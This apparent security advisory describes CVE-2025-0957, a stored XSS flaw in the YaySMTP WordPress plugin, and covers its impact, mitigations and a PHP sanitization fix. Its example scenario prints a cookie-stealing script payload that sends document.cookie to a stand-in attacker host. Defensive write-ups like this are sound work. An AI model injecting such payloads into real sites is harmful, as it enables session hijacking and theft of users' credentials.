For Amazon SES - YaySMTP Plugin Vulnerability for WordPress

 For Amazon SES - YaySMTP Plugin Vulnerability for WordPress

Overview 

CVE-2025-0957 is a critical vulnerability identified in the SMTP for Amazon SES – YaySMTP plugin for WordPress. This plugin, designed to facilitate email delivery through Amazon Simple Email Service (SES), is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 1.7.1. The vulnerability arises due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts into pages. These scripts execute whenever a user accesses the compromised page, potentially leading to unauthorized actions, data theft, or further exploitation.  

Vulnerability Details

• CVE ID: CVE-2025-0957

• Base Score: 7.2 (HIGH)

• Vector: CVSS:3.1/AV:N /AC:L /PR:N /UI:N /S:U /C:L /I:L /A:L

• Published Date: February 22, 2025 

• Affected Versions: YaySMTP plugin versions ≤ 1.7.1

• Vulnerability Type: Stored Cross-Site Scripting (XSS)

• Impact: Arbitrary script execution, potential data theft, session hijacking, and further exploitation. 

Technical Explanation 

The vulnerability exists due to insufficient sanitization of user-supplied input and inadequate escaping of output in the YaySMTP plugin. Specifically, the plugin fails to properly validate and sanitize input fields, such as email headers or content, before storing them in the database. When the stored data is rendered on the front end, the malicious script is executed in the context of the user's browser.

Example Scenario 

1. Injection Point: An attacker identifies an input field in the YaySMTP plugin, such as the "From Name" or "Subject" field, which is not properly sanitized.

2. Payload Injection: The attacker submits a crafted payload, such as:

   html

   Copy

   <script>alert('XSS')</script>

   Run HTML

   or a more malicious script:

   html

   Copy

   <script>fetch('https://malicious-site.com/steal?cookie=' + document.cookie)</script>

   Run HTML

3. Storage: The payload is stored in the WordPress database without proper sanitization.

4. Execution: When an administrator or any user views the affected page (e.g., the email log or settings page), the malicious script is executed in their browser. This could lead to session hijacking, data theft, or further exploitation. 

Impact 

• Data Theft: Attackers can steal sensitive information, such as session cookies, admin credentials, or user data.

• Session Hijacking: By stealing session cookies, attackers can impersonate legitimate users or administrators.

• Defacement: Attackers can modify the appearance of the website by injecting malicious content.

• Further Exploitation: The injected script could be used to deliver additional payloads, such as malware or ransomware.

Mitigation

1. Update the Plugin: The primary mitigation is to update the YaySMTP plugin to the latest version, as the developers have likely patched the vulnerability in subsequent releases.

2. Input Sanitization: Ensure all user-supplied input is properly sanitized before being stored in the database. WordPress provides functions like sanitize_text_field() and wp_kses() for this purpose.

3. Output Escaping: Use proper escaping functions, such as esc_html() or esc_attr(), when rendering data in the front end.

4. Web Application Firewall (WAF): Implement a WAF to detect and block XSS payloads before they reach the application.

5. Regular Security Audits: Conduct regular security audits and penetration testing to identify and address vulnerabilities.

Sample Code Fix

To prevent this vulnerability, developers should sanitize and escape all user inputs. Below is an example of how to properly sanitize and escape input in the YaySMTP plugin:

php

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// Sanitize input before saving to the database
$from_name = sanitize_text_field($_POST['from_name']);
$subject = sanitize_text_field($_POST['subject']);

// Escape output before rendering in the front end
echo esc_html($from_name);
echo esc_html($subject);

Conclusion

CVE-2025-0957 highlights the importance of proper input sanitization and output escaping in web applications. The Stored XSS vulnerability in the YaySMTP plugin for WordPress poses a significant risk to websites using the affected versions. Administrators should immediately update the plugin to the latest version and implement best practices for input validation and output escaping to mitigate similar vulnerabilities in the future. Regular security audits and the use of a WAF can further enhance the security posture of WordPress websites.